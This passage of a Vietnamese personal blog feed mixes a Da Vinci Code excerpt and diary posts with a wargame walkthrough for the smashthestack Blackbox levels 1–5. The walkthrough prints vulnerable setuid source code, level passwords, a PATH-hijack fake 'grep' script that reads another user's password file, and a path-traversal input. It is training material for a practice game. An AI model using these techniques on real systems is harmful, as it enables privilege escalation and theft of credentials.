chúng tôi. Chừng ấy điều xâm phạm đối với nữ thần tình yêu và sắc đẹp”.&lt;br /&gt;“Hay đấy”, Fache hất đầu về phía cái xác nằm dang tay dang chân. “Còn vị trí của thi thể thì sao? ông nghĩ gì về điều đó?”.&lt;br /&gt;Langdon nhún vai: “Vị trí chỉ đơn giản là để củng cố thêm gợi ý về hình sao năm cánh và tính nữ thiêng liêng”.&lt;br /&gt;Vẻ mặt Fache sa sầm: “Làm ơn nhắc lại giùm?”.&lt;br /&gt;“Bản sao. Việc nhắc lại một biểu tượng là cách đơn giản nhất để tăng cường ý nghĩa của nó. Jacques Saunière đặt cơ thể mình trong tư thế của hình sao năm cánh. Nếu một hình sao năm cánh là tốt, thì hai là tốt hơn”.&lt;br /&gt;Mắt Fache nhìn theo năm đỉnh tay, chân, đầu của Saunière trong khi tay ông ta vuốt mái tóc trơn bóng.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;b&gt;Trích Chương 6 - Mật mã Da Vinci (Dan Brown)&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-2992105146223514794?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/2992105146223514794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/08/sao-nam-canh-tinh-nu-thieng-lieng.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2992105146223514794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/2992105146223514794'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/08/sao-nam-canh-tinh-nu-thieng-lieng.html' title='Sao năm cánh - tính nữ thiêng liêng.'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-4222450039376213569</id><published>2010-08-14T21:35:00.000+07:00</published><updated>2010-08-14T21:35:56.891+07:00</updated><title type='text'>Blackbox Wargame - Part 1</title><content type='html'>Game này chủ yếu là tư duy + brain fucking là chính, chứ kĩ thuật thì không có gì đáng kể . Lúc trưa mới bắt mạng, chiều trời lại mưa nên lôi ra làm thử. Một èo tới level6, phần còn lại để dành làm đồ ăn mai dùng cho bữa sáng vậy. Thể lệ wargames này thì đơn giản, bọn nó sẽ cho bạn một cái password vào level1 - level đầu tiên. Phần nhiệm vụ của bạn là từ tài khoản đó, phải tìm cách khai thác một chương trình mang lỗi cho sẵn để nâng quyền lên level tiếp theo, và cứ như thế tiếp tục đến hết.&lt;br /&gt;&lt;br /&gt;Trang chủ của wargame này : http://blackbox.smashthestack.org:85&lt;br /&gt;&lt;br /&gt;ssh -l level1 blackbox.smashthestack.org -p 2225 &lt;br /&gt;Password: level1&lt;br /&gt;&lt;br /&gt;&lt;div style="color: cyan;"&gt;&lt;b&gt;Level1, có 1 file binary&lt;/b&gt;&lt;/div&gt;&lt;pre class="brush: bash"&gt;-rws--xr-x&amp;nbsp; 1 level2 level2 1189337 Jan 12&amp;nbsp; 2008 login2&lt;br /&gt;&lt;/pre&gt;chạy thử file này :&lt;br /&gt;&lt;pre class="brush: bash"&gt;level1@blackbox:~$ ./login2&lt;br /&gt;Username: x&lt;br /&gt;Password: x&lt;br /&gt;Invalid username or password&lt;br /&gt;&lt;/pre&gt;à, chắc chắn sẽ có so sánh username + password, biết đâu đó password để vào level2 cũng có trong này thì sao, thử strings nó thử :&lt;br /&gt;&lt;pre class="brush: bash"&gt;level1@blackbox:~$ strings login2 &amp;gt; /tmp/xxx&lt;br /&gt;level1@blackbox:~$ ls /tmp/xxx&lt;br /&gt;/tmp/xxx&lt;br /&gt;level1@blackbox:~$ ls -la /tmp/xxx&lt;br /&gt;-rw-r--r-- 1 level1 gamers 30296 Aug 14 13:45 /tmp/xxx&lt;br /&gt;level1@blackbox:~$ head /tmp/xxx&lt;br /&gt;PTRh&lt;br /&gt;QVhz&lt;br /&gt;0Y[]&lt;br /&gt;[^_]&lt;br /&gt;[^_]&lt;br /&gt;[^_]&lt;br /&gt;[^_]&lt;br /&gt;,[^_]&lt;br /&gt;[^_]&lt;br /&gt;[^_]&lt;br /&gt;---snip----&lt;br /&gt;&lt;/pre&gt;Khá dài, mò một chặp thì ra cái này : PassFor2 , đẹp nhỉ. Thử login vào thử level2, vào lun ;) .&lt;br /&gt;&lt;br /&gt;&lt;div style="color: cyan;"&gt;&lt;b&gt;Level2 :&lt;/b&gt;&lt;/div&gt;source code :&lt;br /&gt;&lt;pre class="brush: cpp"&gt;level2@blackbox:~$ cat getowner.c&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *filename;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char buf[128];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if((filename = getenv("filename")) == NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; printf("No filename configured!\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(*filename == '/')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; filename++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(buf, "/tmp/");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(&amp;amp;buf[strlen(buf)], filename);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct stat stbuf;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; stat(buf, &amp;amp;stbuf);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("The owner of this file is: %d\n", stbuf.st_uid);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;quá đơn giản, lỗi stack overflow cơ bản, qua level này, kiếm pass level3 : Over****low&lt;br /&gt;&lt;br /&gt;&lt;div style="color: cyan;"&gt;&lt;b&gt;Level3 :&lt;/b&gt;&lt;/div&gt;source code&lt;br /&gt;&lt;pre class="brush: cpp"&gt;level3@blackbox:~$ cat proclist.cc&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&amp;gt;&lt;br /&gt;#include &amp;lt;&lt;string&gt;&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int main, char **argv)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string command;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string program;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::cout &amp;lt;&amp;lt; "Enter the name of the program: ";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::cin &amp;gt;&amp;gt; program;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(unsigned int i = 0; i &amp;lt; program.length(); i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if(strchr(";^&amp;amp;|&amp;gt;&amp;lt;", program[i]) != NULL) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; std::cout &amp;lt;&amp;lt; "Fatal error" &amp;lt;&amp;lt; std::endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Execute the command to list the programs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; command = "/bin/ps |grep ";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; command += program;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; system(command.c_str());&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;}&lt;/string&gt;&lt;/pre&gt;&lt;br /&gt;gì mà rối tinh thế nhỉ, nhưng không quan trọng, chương trình chạy lệnh grep. Vậy thì tạo một cái grep "giả mạo" để đọc password rồi lừa nó đọc thôi chứ gì ;)).&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;level3@blackbox:~$ export PATH="/tmp/"&lt;br /&gt;level3@blackbox:~$ ./proclist &lt;br /&gt;Enter the name of the program: x&lt;br /&gt;BashingSh&lt;br /&gt;level3@blackbox:~$ cat /tmp/grep&lt;br /&gt;-bash: cat: command not found&lt;br /&gt;level3@blackbox:~$ /usr/bin/cat /tmp/grep&lt;br /&gt;-bash: /usr/bin/cat: No such file or directory&lt;br /&gt;level3@blackbox:~$ /bin/cat /tmp/grep&lt;br /&gt;#!/bin/sh&lt;br /&gt;/bin/cat /home/level4/password&lt;br /&gt;level3@blackbox:~$&lt;br /&gt;&lt;/pre&gt;&lt;div style="color: cyan;"&gt;&lt;b&gt;Level 4 :&lt;/b&gt;&lt;/div&gt;source code&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &amp;lt;fstream&amp;gt;&lt;br /&gt;#include &amp;lt;string&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;std::string strreplace(const char *msg, const char *replace, const char *with)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string ret;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(*msg) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if(strncmp(msg, replace, strlen(replace)) == 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ret += with;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; // Skip all in msg until we have another match&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; msg++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for(unsigned int i = 1; i &amp;lt; strlen(replace) &amp;amp;&amp;amp; *msg; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if(strncmp(msg, replace, strlen(replace)) == 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; msg++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; continue;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; } else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ret += *msg;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; msg++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return ret;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argc &amp;lt; 2) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; std::cout &amp;lt;&amp;lt; "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" &amp;lt;&amp;lt; std::endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; std::cout &amp;lt;&amp;lt; "Example: " &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; " lyrics/foreverautumn" &amp;lt;&amp;lt; std::endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string start_path = "/usr/share/level5/";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string relative_path = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *ptr;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ptr = argv[1];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(*ptr == '/' || *ptr == '.')&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ptr++;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; relative_path = strreplace(ptr, "/../", "");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; relative_path = strreplace(relative_path.c_str(), "/./", "");&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string realpath = start_path + relative_path;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::cout &amp;lt;&amp;lt; "Contents of " &amp;lt;&amp;lt; realpath &amp;lt;&amp;lt; ":" &amp;lt;&amp;lt; std::endl;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::ifstream file(realpath.c_str(), std::ios::in);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!file.is_open()) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; std::cerr &amp;lt;&amp;lt; "Unable to open file" &amp;lt;&amp;lt; std::endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; std::string cline;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while(!file.eof()) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; std::getline(file, cline);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; std::cout &amp;lt;&amp;lt; cline &amp;lt;&amp;lt; std::endl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&amp;gt;"&amp;lt; , làm gì mà std:: rồi /../.. loạn xạ thế trời. Chương trình này đọc file, rồi xuất nội dung ra. Nhưng ý của chương trình là chỉ cho đọc trong /usr/share/level5/ thôi. Cái hàm replace() nó lọc kí tự đưa vào để "chống" ta đọc mấy file ngoài đó đấy. Sau một hồi fuzzing thì nó cũng lòi ra chỗ hở (lỗi nằm trong hàm replace() ), fuck ngay :&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: cpp"&gt;./shared ../ghj/./../././/&lt;br /&gt;Contents of /usr/share/level5/ghj/../:&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;cứ như vầy mà dẫn nó đến file cần đọc ;) .&lt;br /&gt;&lt;div style="color: cyan;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: cyan;"&gt;&lt;b&gt;Level 5 :&lt;/b&gt;&lt;/div&gt;&lt;pre class="brush: cpp"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char buf[100];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; size_t len;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char fixedbuf[10240];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; FILE *fh;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; char *ptr = fixedbuf;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fh = fopen("somefile", "r");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!fh)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; while((len = fread(buf, 1, 100, fh)) &amp;gt; 0) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for(i = 0; i &amp;lt; len; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; // Disable output modifiers&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; switch(buf[i]) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; case 0xFF:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; case 0x00:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; case 0x01:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; default:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; *ptr = buf[i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ptr++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("%s", fixedbuf);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; fclose(fh);&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;ghê gớm nhỉ :)) . Nhưng mà nó đọc file, rồi in ra. Cho nó đọc file ta đang cần là xong ;) .&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Hết phần 1. &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-4222450039376213569?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/4222450039376213569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/08/blackbox-wargame-part-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4222450039376213569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4222450039376213569'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/08/blackbox-wargame-part-1.html' title='Blackbox Wargame - Part 1'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-4938081066086444446</id><published>2010-07-12T00:49:00.000+07:00</published><updated>2010-07-12T00:49:01.839+07:00</updated><title type='text'>Trở về</title><content type='html'>Vậy là đã đặng 5 tháng, mình lại được về quê, về với má, với ba, với thèn em, với lũ bạn thân yêu. Nữa tháng thôi, mình sẽ làm gì trong nữa tháng này nhỉ . Sẽ chơi với bạn bè của mình cho thật đã, hihi.&lt;br /&gt;&lt;br /&gt;Ôi, đồ giặc lúc trưa, thi xong lúc chiều về mới phơi. Không biết là có khô nổi không, huhuhu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-4938081066086444446?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/4938081066086444446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/07/tro-ve.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4938081066086444446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/4938081066086444446'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/07/tro-ve.html' title='Trở về'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-6236093867612276983</id><published>2010-07-11T01:52:00.000+07:00</published><updated>2010-07-11T01:52:13.522+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><title type='text'>ì lại</title><content type='html'>Đang chơi ctf với mọi người, nhưng mình lại cứ đi tới gần đích, nhìn thấy con đường rồi lại dừng lại. Mình tìm kiếm cái gì chăng ???&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bỏ . Chạy lang thang thì lọt vào blog của anh hieuln, haha, phải đọc thử lão viết gì nào. Nói chuyện nhiều ở #vnsec, nhưng khi đọc blog thì mới thấy cái đáng giá, đáng học hỏi. Blog có nhiều bài viết rất đã, giống mình, từ suy nghĩ, tình yêu, đến cách sống... ka ka ka.&lt;br /&gt;&lt;br /&gt;Thôi đi ngủ, mai có đề mới làm tiếp. Bài 8 fmt chỉ có thế thôi, mà không chịu làm gì cả, thiệt là ... mày đang bị gì à.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4625593733003044772-6236093867612276983?l=cb.bkitsec.vn' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cb.bkitsec.vn/feeds/6236093867612276983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cb.bkitsec.vn/2010/07/i-lai.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6236093867612276983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4625593733003044772/posts/default/6236093867612276983'/><link rel='alternate' type='text/html' href='http://cb.bkitsec.vn/2010/07/i-lai.html' title='ì lại'/><author><name>Cr4zyb0y</name><uri>http://www.blogger.com/profile/18411726888669918045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_mMaWcZ9ESZI/TG_IyD9S6oI/AAAAAAAABss/mM0E4sNnpKQ/S220/tienphan.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4625593733003044772.post-4553869864745282433</id><published>2010-07-08T23:55:00.000+07:00</published><updated>2010-07-08T23:55:54.892+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myself'/><category scheme='http://www.blogger.com/atom/ns#' term='love'/><title type='text'>Anh yêu em - Nếu có thể hãy cho tình yêu sự kiên nhẫn</title><content type='html'>&lt;div style="text-align: left;"&gt;Mượn tâm sự của người để bày tỏ nỗi  lòng .&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="Lead"&gt;Lâu lâu không viết cái  gì, hôm nay nghe 'Patience' tự  nhiên muốn viết cái gì đó không phải  cho mình mà cũng chẳng cho ai, chỉ  là một bài viết cảm nhận như mọi khi  về cuộc sống mà mình đang đi qua  từng ngày. Hy vọng sẽ có ai tìm được  gì đó trong nó. (Nghiêm Trọng Việt)&lt;/div&gt;&lt;div class="Normal"&gt;Tình  yêu, hãy dành cho nó sự kiên nhẫn.&lt;/div&gt;&lt;div class="Normal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" border="0" cellpadding="3" cellspacing="0" style="width: 1px;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;img border="1" src="http://vnexpress.net/Files/Subject/3B/A1/DD/A5/4899_medium.jpg" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td class="Image"&gt;Nhóm nhạc rock lừng danh Guns N' Roses. Ảnh: &lt;i&gt;muchmusic.&lt;/i&gt;&lt;br 